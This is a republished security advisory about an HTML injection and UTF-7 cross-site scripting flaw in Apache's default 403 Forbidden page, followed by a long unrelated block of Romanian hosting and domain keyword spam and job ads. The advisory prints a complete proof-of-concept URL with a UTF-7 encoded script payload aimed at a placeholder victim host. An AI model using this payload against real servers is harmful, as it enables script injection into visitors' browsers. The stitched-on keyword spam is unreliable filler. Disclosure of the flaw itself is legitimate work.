Apache Server HTML Injection and UTF-7 XSS Vulnerability
A vulnerability in the Apache web server allows an attacker to inject an
XSS to any Apache server that use the Forbidden 403 default page.
DETAILS
Vulnerable Systems:
* Apache version 2.2.x
* Apache version 1.3.x
After injecting this string:
http://www.victim.com/Znl5g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0Kc3Fu7vfthepWhmKvjudPuJTNeK9zw5Ma
Z1yXJi8RJRRuPe5UahFwOblMXsIPTGh3pVjTLdim3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY
7f6GlQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C!xc+ADw-script+AD4-alert('xss')+ADw
-/script+AD4---//--
You will get a Forbidden 403 error message with an XSS alert. This string
is combined from HTML Injection and a XSS string coded in UTF-7.
This is only a PoC and because of that the browser should be in auto
select mode of encoding so it could use the UTF-7 encoding.
pagina info
domeniu .biz 3 euro
domeniu .biz de la 2 euro
gazduire web
hosting romania
inregistrare domeniu
.nl domeniu cumpar
inregistrari
domeniu
inregistrare domeniu
certificat de hosting
index gazduire hosting
webhost 1 euro luna
certificat ssl wildcard
domenii .info
despre domeniu web .org
Mail web gazduire
gazduire webmail
preturi gazduire pagina web
gazduire domeniu inregistrat rotld
anregistrari web
gazduire site deja facut
creaza un site web cu 1 euro
hosting site romania
hosting webside
licentza pentru domeniu site
webhosting si template cu seo ro
template site gazduire
gazduire biz
cumparare domeniu .biz
inregistrare domeniu
inregistrare certificat ssl
domenii la 1 luna
registrari domenii ro
template-uri web premium
cumparare domeniu .biz
domenii cu 1 euro
inregistrare domenii 1 euro
inregistrare domeniu 1 euro
inregistrare domeniu com 1 euro
comandat domeniu pe internet
domeniu internet pe perioada nedeterminata
1euro / luna domeniu
inregistrari pe suport,domeniu .net
program download all inregistrare web
inregistrare domeniu pe google
domeniu gazduire 1 euro
template-uri html gratis
inregistrare domenii eu
inregistrare domeniu 1 luna sms
web design
domeniu .org
domeniu la 1 euro
domeniu 1 euro luna
inregistrare webhost la 1 Euro
administrare server linux 24/24
mail inregistrare .com
www cum cumpar gazduire domeniu
domeniu eu 1euro/luna
inregistrare domenii .info
inregistrare .info
Paypal si in Romania
Optimizare SEO
Epayment job
Gecad Epayment cauta specialisti PHP, MySQL (si HTML, JavaScript) la nivel avansat si care sunt dornici sa se alature echipei de dezvoltare software.
Suntem bucurosi sa primim in echipa membri noi care sa aprecieze ca si noi initiativa, provocarile si ambitia de a fi foarte buni. Iti oferim:
* mediu de lucru placut
* posibilitatea de dezvoltare profesionala
* masa de pranz la restaurantul cladirii
* asigurare medicala si pachet salarial adaptat la performanta ta.
Daca vrei sa ne cunosti mai bine si sa contribui la succesul ePayment, trimite-ne CV-ul pentru PHP Developer pe adresa careersepayment.ro
Windows Web Hosting
Name.com System Adminstrator
angajeaza
System Administrator
Hardware Specialist
Cerinte:
- Linux instalare/configurare/debug
- Networking setup/configurare/debug
- Experienta in furnizorii de hardware
Toate materialele de pe acest site sunt protejate de legea romana dreptului de autor, fiind excluse unele logo-uri si/sau nume pot reprezenta mărci comerciale inregistrate ale proprietarilor respectivi.
Apache Server HTML Injection and UTF-7 XSS Vulnerability
epayment.ro
